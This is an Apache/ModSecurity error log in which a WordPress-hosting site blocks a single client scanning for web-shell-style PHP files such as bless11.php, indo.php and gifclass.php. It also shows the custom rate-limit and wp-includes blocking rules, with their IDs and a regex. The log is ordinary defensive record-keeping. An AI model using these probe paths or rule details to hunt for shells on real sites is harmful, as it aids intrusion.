[Sun Dec 14 23:48:36.780385 2025] [:error] [pid 39614:tid 39629] [client 4.194.187.204:34687] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file32.php"] [unique_id "aT7cVPxybG8-9MflbDep9AAAAM0"]
[Sun Dec 14 23:48:37.424491 2025] [:error] [pid 39614:tid 39622] [client 4.194.187.204:8818] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file32.php"] [unique_id "aT7cVfxybG8-9MflbDep9QAAAMY"]
[Sun Dec 14 23:48:38.174734 2025] [:error] [pid 40596:tid 40637] [client 4.194.187.204:31818] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file32.php"] [unique_id "aT7cVmvZZo4N2X7WoLzFDwAAAcs"]
[Sun Dec 14 23:48:41.793271 2025] [:error] [pid 39525:tid 39604] [client 4.194.187.204:31816] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file32.php"] [unique_id "aT7cWU1fX_pB_BrvE_56dQAAAJU"]
[Sun Dec 14 23:48:42.970651 2025] [:error] [pid 13799:tid 13802] [client 4.194.187.204:8772] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hook.php"] [unique_id "aT7cWnjPEin01ElFTNZ00gAAAgA"]
[Sun Dec 14 23:48:46.049592 2025] [:error] [pid 41600:tid 41620] [client 4.194.187.204:8639] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hook.php"] [unique_id "aT7cXtFLTBZjcwNd_VtraQAAARE"]
[Sun Dec 14 23:48:47.622894 2025] [:error] [pid 13799:tid 13808] [client 4.194.187.204:8590] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hook.php"] [unique_id "aT7cX3jPEin01ElFTNZ01wAAAgY"]
[Sun Dec 14 23:48:49.476705 2025] [:error] [pid 41600:tid 41613] [client 4.194.187.204:31825] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hook.php"] [unique_id "aT7cYdFLTBZjcwNd_VtrcQAAAQo"]
[Sun Dec 14 23:48:50.447015 2025] [:error] [pid 39614:tid 39636] [client 4.194.187.204:30415] [client 4.194.187.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aT7cYvxybG8-9MflbDeqAQAAANQ"]
[Sun Dec 14 23:48:50.767903 2025] [:error] [pid 40596:tid 40643] [client 4.194.187.204:35044] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file4.php"] [unique_id "aT7cYmvZZo4N2X7WoLzFGQAAAdE"]
[Sun Dec 14 23:48:55.047087 2025] [:error] [pid 40561:tid 40570] [client 4.194.187.204:8796] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file4.php"] [unique_id "aT7cZ4Y6r869zoqRQkQGnwAAAUU"]
[Sun Dec 14 23:48:55.878654 2025] [:error] [pid 41600:tid 41626] [client 4.194.187.204:8809] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file4.php"] [unique_id "aT7cZ9FLTBZjcwNd_VtrdQAAARc"]
[Sun Dec 14 23:49:27.921678 2025] [:error] [pid 40595:tid 40602] [client 4.194.187.204:35070] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bless11.php"] [unique_id "aT7ch_jrht6y4RN-xKRUGAAAAYM"]
[Sun Dec 14 23:49:29.579629 2025] [:error] [pid 41600:tid 41618] [client 4.194.187.204:36455] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bless11.php"] [unique_id "aT7cidFLTBZjcwNd_VtroQAAAQ8"]
[Sun Dec 14 23:49:31.908056 2025] [:error] [pid 41600:tid 41609] [client 4.194.187.204:9197] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bless11.php"] [unique_id "aT7ci9FLTBZjcwNd_VtrpwAAAQY"]
[Sun Dec 14 23:49:37.865754 2025] [:error] [pid 39525:tid 39607] [client 4.194.187.204:36424] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bless11.php"] [unique_id "aT7ckU1fX_pB_BrvE_56kQAAAJg"]
[Sun Dec 14 23:49:38.850201 2025] [:error] [pid 39525:tid 39586] [client 4.194.187.204:36051] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file.php"] [unique_id "aT7ckk1fX_pB_BrvE_56lwAAAIM"]
[Sun Dec 14 23:49:39.881487 2025] [:error] [pid 39525:tid 39589] [client 4.194.187.204:32709] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file.php"] [unique_id "aT7ck01fX_pB_BrvE_56mwAAAIY"]
[Sun Dec 14 23:49:40.766327 2025] [:error] [pid 40595:tid 40617] [client 4.194.187.204:16915] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file.php"] [unique_id "aT7clPjrht6y4RN-xKRUGwAAAZI"]
[Sun Dec 14 23:49:42.418261 2025] [:error] [pid 39524:tid 39560] [client 4.194.187.204:16904] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file.php"] [unique_id "aT7clmrVGpbDzFtDE9MwywAAAEQ"]
[Sun Dec 14 23:49:43.136686 2025] [:error] [pid 40561:tid 40584] [client 4.194.187.204:60514] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/indo.php"] [unique_id "aT7cl4Y6r869zoqRQkQGxgAAAVM"]
[Sun Dec 14 23:49:44.031792 2025] [:error] [pid 39523:tid 39529] [client 4.194.187.204:32763] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/indo.php"] [unique_id "aT7cmDQTQH1raAj2lkgR6AAAAAE"]
[Sun Dec 14 23:49:44.686118 2025] [:error] [pid 41600:tid 41620] [client 4.194.187.204:8379] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/indo.php"] [unique_id "aT7cmNFLTBZjcwNd_VtruwAAARE"]
[Sun Dec 14 23:49:47.173112 2025] [:error] [pid 13799:tid 13816] [client 4.194.187.204:53576] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/indo.php"] [unique_id "aT7cm3jPEin01ElFTNZ1AgAAAg4"]
[Sun Dec 14 23:49:48.863651 2025] [:error] [pid 39614:tid 39635] [client 4.194.187.204:53581] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/card.php"] [unique_id "aT7cnPxybG8-9MflbDeqNgAAANM"]
[Sun Dec 14 23:49:50.755405 2025] [:error] [pid 40596:tid 40646] [client 4.194.187.204:16914] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/card.php"] [unique_id "aT7cnmvZZo4N2X7WoLzFPgAAAdQ"]
[Sun Dec 14 23:49:52.280102 2025] [:error] [pid 41600:tid 41608] [client 4.194.187.204:32728] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/card.php"] [unique_id "aT7coNFLTBZjcwNd_VtrvgAAAQU"]
[Sun Dec 14 23:49:52.776013 2025] [:error] [pid 41600:tid 41616] [client 4.194.187.204:8327] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/card.php"] [unique_id "aT7coNFLTBZjcwNd_VtrvwAAAQ0"]
[Sun Dec 14 23:49:53.873464 2025] [:error] [pid 39614:tid 39617] [client 4.194.187.204:8361] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/menu.php"] [unique_id "aT7cofxybG8-9MflbDeqPAAAAME"]
[Sun Dec 14 23:49:55.000444 2025] [:error] [pid 39524:tid 39574] [client 4.194.187.204:16933] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/menu.php"] [unique_id "aT7comrVGpbDzFtDE9Mw0QAAAFI"]
[Sun Dec 14 23:49:56.897338 2025] [:error] [pid 39525:tid 39595] [client 4.194.187.204:55679] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/menu.php"] [unique_id "aT7cpE1fX_pB_BrvE_56rAAAAIw"]
[Sun Dec 14 23:49:58.530490 2025] [:error] [pid 13799:tid 13813] [client 4.194.187.204:65144] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/menu.php"] [unique_id "aT7cpnjPEin01ElFTNZ1CgAAAgs"]
[Sun Dec 14 23:49:59.413679 2025] [:error] [pid 39524:tid 39561] [client 4.194.187.204:16929] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aT7cp2rVGpbDzFtDE9Mw1gAAAEU"]
[Sun Dec 14 23:50:01.460731 2025] [:error] [pid 39525:tid 39592] [client 4.194.187.204:55669] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aT7cqU1fX_pB_BrvE_56rwAAAIk"]
[Sun Dec 14 23:50:02.300068 2025] [:error] [pid 39524:tid 39562] [client 4.194.187.204:8302] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aT7cqmrVGpbDzFtDE9Mw2wAAAEY"]
[Sun Dec 14 23:50:02.948396 2025] [:error] [pid 13799:tid 13806] [client 4.194.187.204:55617] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aT7cqnjPEin01ElFTNZ1DgAAAgQ"]
[Sun Dec 14 23:50:11.521469 2025] [:error] [pid 41600:tid 41611] [client 4.194.187.204:65112] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aT7cs9FLTBZjcwNd_Vtr5QAAAQg"]
[Sun Dec 14 23:50:12.514631 2025] [:error] [pid 41600:tid 41610] [client 4.194.187.204:58949] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aT7ctNFLTBZjcwNd_Vtr5wAAAQc"]
[Sun Dec 14 23:50:14.828348 2025] [:error] [pid 39525:tid 39592] [client 4.194.187.204:36563] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aT7ctk1fX_pB_BrvE_56wQAAAIk"]
[Sun Dec 14 23:50:16.481688 2025] [:error] [pid 40595:tid 40611] [client 4.194.187.204:58963] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aT7cuPjrht6y4RN-xKRUPgAAAYw"]
[Sun Dec 14 23:50:18.336768 2025] [:error] [pid 13799:tid 13813] [client 4.194.187.204:31111] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file3.php"] [unique_id "aT7cunjPEin01ElFTNZ1FgAAAgs"]
[Sun Dec 14 23:50:23.655208 2025] [:error] [pid 40561:tid 40580] [client 4.194.187.204:58967] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file3.php"] [unique_id "aT7cv4Y6r869zoqRQkQG7AAAAU8"]
[Sun Dec 14 23:50:38.579196 2025] [proxy_fcgi:error] [pid 39525:tid 39591] [client 4.194.187.204:36260] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 23:50:53.923836 2025] [:error] [pid 39525:tid 39597] [client 4.194.187.204:36260] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aT7c3U1fX_pB_BrvE_56-wAAAI4"]
[Sun Dec 14 23:51:00.197475 2025] [:error] [pid 13799:tid 13821] [client 4.194.187.204:31795] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aT7c5HjPEin01ElFTNZ1NQAAAhM"]
[Sun Dec 14 23:51:02.457376 2025] [:error] [pid 39523:tid 39533] [client 4.194.187.204:30332] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aT7c5jQTQH1raAj2lkgSdgAAAAU"]
[Sun Dec 14 23:51:03.331587 2025] [:error] [pid 39614:tid 39623] [client 4.194.187.204:30674] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aT7c5_xybG8-9MflbDerGwAAAMc"]
[Sun Dec 14 23:51:03.961595 2025] [:error] [pid 39614:tid 39637] [client 4.194.187.204:36315] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gifclass.php"] [unique_id "aT7c5_xybG8-9MflbDerHwAAANU"]
[Sun Dec 14 23:51:06.158584 2025] [:error] [pid 41600:tid 41622] [client 4.194.187.204:36632] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gifclass.php"] [unique_id "aT7c6tFLTBZjcwNd_VtsUwAAARM"]
[Sun Dec 14 23:51:07.831427 2025] [:error] [pid 40561:tid 40588] [client 4.194.187.204:36671] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gifclass.php"] [unique_id "aT7c64Y6r869zoqRQkQHpAAAAVc"]
[Sun Dec 14 23:51:09.024651 2025] [:error] [pid 40595:tid 40614] [client 4.194.187.204:36234] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gifclass.php"] [unique_id "aT7c7fjrht6y4RN-xKRUjQAAAY8"]
[Sun Dec 14 23:51:09.995885 2025] [:error] [pid 39524:tid 39557] [client 4.194.187.204:33469] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file9.php"] [unique_id "aT7c7WrVGpbDzFtDE9MxRAAAAEE"]
[Sun Dec 14 23:51:10.504419 2025] [:error] [pid 41600:tid 41610] [client 4.194.187.204:33456] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file9.php"] [unique_id "aT7c7tFLTBZjcwNd_VtsnAAAAQc"]
[Sun Dec 14 23:51:11.359016 2025] [:error] [pid 40561:tid 40575] [client 4.194.187.204:33410] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file9.php"] [unique_id "aT7c74Y6r869zoqRQkQHqgAAAUo"]
[Sun Dec 14 23:51:14.252478 2025] [:error] [pid 39524:tid 39576] [client 4.194.187.204:33452] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file9.php"] [unique_id "aT7c8mrVGpbDzFtDE9MxUgAAAFQ"]
[Sun Dec 14 23:51:17.405613 2025] [:error] [pid 39614:tid 39633] [client 4.194.187.204:36658] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hk.php"] [unique_id "aT7c9fxybG8-9MflbDerQQAAANE"]
[Sun Dec 14 23:51:34.745086 2025] [:error] [pid 39524:tid 39569] [client 4.194.187.204:33444] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yas.php"] [unique_id "aT7dBmrVGpbDzFtDE9MxgwAAAE0"]
